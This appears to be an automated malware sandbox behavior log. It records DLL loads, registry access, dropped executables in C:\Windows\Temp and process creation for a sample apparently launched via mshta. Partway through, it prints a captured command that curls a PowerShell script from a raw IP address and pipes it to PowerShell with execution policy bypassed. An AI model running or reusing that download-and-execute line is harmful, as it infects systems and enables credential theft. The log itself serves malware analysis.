Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: aclui.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Temp\Launcher.exe

Window detected: Number of UI elements: 24

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Temp\io12j1es.2tm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:

Binary string: OLEView.pdb source: Launcher.exe, Launcher.exe, 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Launcher.exe.5.dr

Data Obfuscation

Suspicious command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -			Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B5B905 __EH_prolog3_GS,#540,#4155,StringFromGUID2,wsprintfW,RegQueryValueW,#540,#540,#538,#4155,#4155,#940,#4155,#940,#1197,#355,#2507,#3494,#858,#800,#800,#641,LoadLibraryW,GetProcAddress,#800,#641,#4155,#4155,#940,#1197,FreeLibrary,#6398,#800,#800,#800,#800,

6_2_00B5B905

Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B6F3B0 push ecx; ret	6_2_00B6F3C3
Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B6FDDD push ecx; ret	6_2_00B6FDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00B7636D push eax; ret	7_2_00B76381
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00B73AD9 push ebx; retf	7_2_00B73ADA
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D9CAB2 push rdi; retf 0004h	12_2_00007FF6F1D9CAB5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\io12j1es.2tm.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\io12j1es.2tm.exe	Jump to dropped file

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DCC600 ExitProcess,OpenMutexA,ExitProcess,CreateMutexExA,ExitProcess,ReleaseMutex,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

12_2_00007FF6F1DCC600

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
